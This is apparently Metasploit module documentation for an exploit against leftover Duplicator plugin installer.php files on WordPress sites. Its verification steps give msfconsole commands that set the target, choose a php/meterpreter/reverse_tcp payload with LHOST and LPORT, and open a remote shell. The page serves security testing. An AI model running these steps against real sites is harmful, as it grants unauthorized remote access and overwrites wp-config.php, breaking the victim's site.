Duplicator by Snap Creek is a WordPress plugin that can be used to create a complete backup of a WordPress instance and restore it on a fresh server. The export method generates 2 files:
* An ZIP archive with the complete WordPress files and Duplicator specific files:
  * A copy of the `installer.php` script: `installer-backup.php`
  * A SQL script that will be used to restore the database content: `database.sql`
* An installer PHP script to restore the archive `installer.php`

When the `installer.php` completes its process, the following files remain in the directory and has to be manually deleted:
* The ZIP archive
* `database.sql` 
* `installer-backup.php`
* `installer-data.sql` 
* `installer-log.txt`
* `installer.php`

WARNING: exploiting the vulnerability will overwrite the wp-config.php file, breaking the WordPress instance.

## Vulnerable application

## Verification Steps

Confirm that functionality works:
1. Start `msfconsole`
2. `use exploit/multi/php/wordpress_duplicator`
3. Set the `RHOST`.
4. Confirm the target is vulnerable: `check`
5. Confirm that the target is vulnerable: `The target is vulnerable.`
6. Set a payload: `set PAYLOAD php/meterpreter/reverse_tcp`
7. Set `LHOST` and `LPORT`
8. Run the exploit: `run`
9. Confirm you have now a meterpreter session

## Options

**TARGETURI**

The path to the installer.php file to exploit By default, the path is `/installer.php`.
